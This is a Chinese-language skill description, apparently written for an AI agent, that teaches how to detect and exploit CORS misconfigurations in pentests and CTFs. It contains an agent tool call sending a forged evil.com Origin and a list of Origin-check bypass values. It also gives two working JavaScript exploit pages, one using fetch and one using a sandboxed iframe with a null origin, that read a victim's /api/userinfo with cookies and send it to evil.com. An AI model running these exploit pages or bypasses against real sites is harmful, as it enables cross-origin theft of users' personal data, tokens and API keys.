SuperAPI AI 工具集

cors-misconfiguration

安全与审计

查看项目

更新于 10-16 15:11

技能介绍

用途

该技能是一套 CORS(Cross-Origin Resource Sharing,跨域资源共享)配置错误的方法论,用于检测并利用目标的跨域配置缺陷。适用于目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据,或发现 Origin 头被反射回响应的场景。其核心风险在于允许恶意网站跨域读取目标站点的敏感数据。

主要能力

阶段一:检测 CORS 配置

发送带 Origin 的请求:

http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}

检查响应头:

  • Access-Control-Allow-Origin: https://evil.com → 反射任意 Origin(危险)
  • Access-Control-Allow-Origin: * → 通配符(通常无法携带 Cookie)
  • Access-Control-Allow-Credentials: true → 允许携带 Cookie(与反射 Origin 组合即为严重漏洞)
  • 无 ACAO 头 → CORS 正确拒绝

测试 Origin 校验绕过:

# 空 Origin
Origin: null

# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com

# 特殊协议
Origin: http://target.com  (HTTPS 站点接受 HTTP Origin)

危险组合判断:

Allow-Origin Allow-Credentials 风险等级
反射任意 Origin true 严重 — 可跨域窃取用户数据
null true 高 — iframe sandbox 可设置 null origin
* false 低 — 不能携带 Cookie,通常只暴露公开数据
固定白名单 true 安全(除非白名单中有你控制的域名)

阶段二:利用 CORS 错误配置

反射 Origin + Credentials(最常见)。目标返回:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

构造窃取页面:

<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // 发送到攻击者服务器
    fetch('http://evil.com/log?data=' + JSON.stringify(data));
  });
</script>

null Origin 利用:如果 Access-Control-Allow-Origin: null,用 iframe sandbox 触发:

<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('http://target/api/userinfo', {credentials: 'include'})
      .then(r => r.text())
      .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
  </script>
"></iframe>

阶段三:数据获取

CORS 利用成功后,可读取的敏感数据包括:用户个人信息(/api/profile、/api/userinfo)、API 密钥与 Token、内部 API 数据、管理员面板数据。在 CTF 场景中,Flag 通常位于需要管理员 Cookie 才能访问的 API 中。

使用方式

按阶段顺序执行:先通过带 Origin 头的请求探测响应头组合,再尝试各类 Origin 绕过变体,依据风险组合表判定可利用性,最后构造窃取页面或 iframe sandbox 页面在受害者浏览器中触发。

适用场景

安全测试、渗透测试与 CTF 比赛中针对存在 CORS 配置缺陷的 API 进行检测与利用。

限制与注意事项

  • CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS)。
  • 纯 Access-Control-Allow-Origin: * 不允许 credentials: include,风险较低。
  • 应检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上设置。